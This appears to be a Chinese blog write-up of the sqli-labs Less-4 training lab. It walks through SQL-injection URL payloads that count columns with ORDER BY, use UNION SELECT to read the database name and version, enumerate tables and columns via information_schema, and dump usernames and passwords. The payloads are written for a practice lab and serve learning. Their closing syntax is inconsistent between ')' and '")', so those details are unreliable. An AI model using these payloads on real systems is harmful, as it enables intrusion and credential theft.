[网络安全]sqli-labs Less-4 解题

Less-4实验报告

进入sqli-labs练习闯关选择less-4

步骤一:查看源码可知本关为字符注入

所以我们直接使用字符注入

步骤二:输入?id=1) and 1=1 --+

步骤三:再次输入?id=1) and 1=2 --+ 页面报错确定为字符注入

步骤四:首先需要知道该表有几列,可以通过order by获取代码:?id=1") order by 3 --+

步骤五:当order by参数为3时并未出现页面回显报错现象,由此可得知该表一共有3列。

步骤:从页面回显可看出,3列数据中,只有2列可回显代码为?id=0) union select 1,2,3  --+

步骤七:参数为0,id参数不存在于数据库,也可为负数,只回显2/3列来获取当前数据库和版本号!代码:?id=-1") union select 1,database(),version() --+

步骤八:information_schema.tables是系统表之一,记录着数据库当中所有的tables表;

where后面跟条件语句;

group_concat()将查询到结果连接起来,如果不用group_concat查询到的只是user表中的数据。

该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的数据。

?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'; --+

步骤九:爆数据表后看到有四个表:emails、referers、uagents、users,一般账户名称放在user表中,所以对user进行爆破获取字段名 代码:?id=-1) union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

步骤十:观察到两个关键字段名password和username,构建语句获取每个id对应的用户和口令  代码:?Id=-1") union select 1,group_concat(username),group_concat(password) from security.users; --+

由上可以看爆出的相对应用户和密码

至此less-4通关

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值